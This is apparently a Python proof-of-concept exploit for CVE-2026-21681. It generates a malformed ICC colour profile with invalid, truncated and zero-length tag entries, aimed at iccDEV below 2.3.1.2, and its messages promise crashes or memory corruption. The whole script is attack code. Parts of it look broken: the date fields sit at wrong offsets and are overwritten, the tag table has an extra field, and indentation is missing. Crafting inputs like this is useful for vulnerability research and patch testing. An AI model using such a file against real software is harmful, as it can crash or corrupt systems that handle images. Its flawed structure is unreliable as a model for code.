# CVE-2026-21681 PoC - Malformed ICC Profile Trigger
# This PoC demonstrates the Undefined Behavior in iccDEV library
# when processing a crafted ICC color profile
import struct
def create_malformed_icc_profile():
"""
Create a malformed ICC profile that triggers undefined behavior
in iccDEV versions < 2.3.1.2
"""
# ICC profile header (128 bytes)
header = bytearray(128)
# Profile size (will be set later)
struct.pack_into('>I', header, 0, 0)
# Preferred CMM type
header[4:8] = b'lcms'
# Profile version
header[8:12] = struct.pack('>I', 0x0a000000)
# Profile device class (input device - trigger specific code path)
header[12:16] = b'scn '
# Color space (CMYK)
header[16:20] = b'CMYK'
# PCS (Profile Connection Space)
header[20:24] = b'Lab '
# Date: 2024-01-01 00:00:00
header[36:40] = struct.pack('>H', 2024)
header[40:42] = struct.pack('>H', 1)
header[42:44] = struct.pack('>H', 1)
header[44:46] = struct.pack('>H', 0)
header[46:48] = struct.pack('>H', 0)
header[48:50] = struct.pack('>H', 0)
# Profile file signature
header[36:40] = b'acsp'
# Create tag table with malformed entries
tag_count = 5
tag_offset = 128
tag_data_start = 128 + 12 + (tag_count * 12)
tag_table = bytearray()
tag_table += struct.pack('>I', tag_count)
tag_table += struct.pack('>I', 0) # reserved
# Malformed tag entries
malformed_tags = [
(b'desc', 0x00000001, 0, 4), # Invalid type signature
(b'cprt', 0x00000001, 0, 0), # Zero length data
(b'wtpt', 0x00000001, 0, 3), # Truncated XYZ data
(b'chad', 0x00000001, 0, 8), # Invalid matrix size
(b'vued', 0x00000001, 0, 1), # Invalid view condition
]
current_offset = tag_data_start
for sig, type_sig, offset, size in malformed_tags:
tag_table += sig
tag_table += struct.pack('>I', type_sig)
tag_table += struct.pack('>I', current_offset)
tag_table += struct.pack('>I', size)
current_offset += size
# Create malformed tag data
tag_data = bytearray()
for sig, type_sig, offset, size in malformed_tags:
# Truncated or invalid data
tag_data += bytes(size if size > 0 else 1)
# Build complete profile
profile = header + tag_table + tag_data
# Update profile size
struct.pack_into('>I', profile, 0, len(profile))
return bytes(profile)
def exploit():
"""
Simulate exploitation scenario
"""
print('[+] Generating malformed ICC profile for CVE-2026-21681')
profile_data = create_malformed_icc_profile()
# Save to file
with open('malformed_profile.icc', 'wb') as f:
f.write(profile_data)
print(f'[+] Created malicious ICC profile: {len(profile_data)} bytes')
print('[+] When processed by iccDEV < 2.3.1.2, triggers undefined behavior')
print('[+] Possible outcomes: crash, memory corruption, or unpredictable behavior')
if __name__ == '__main__':
exploit()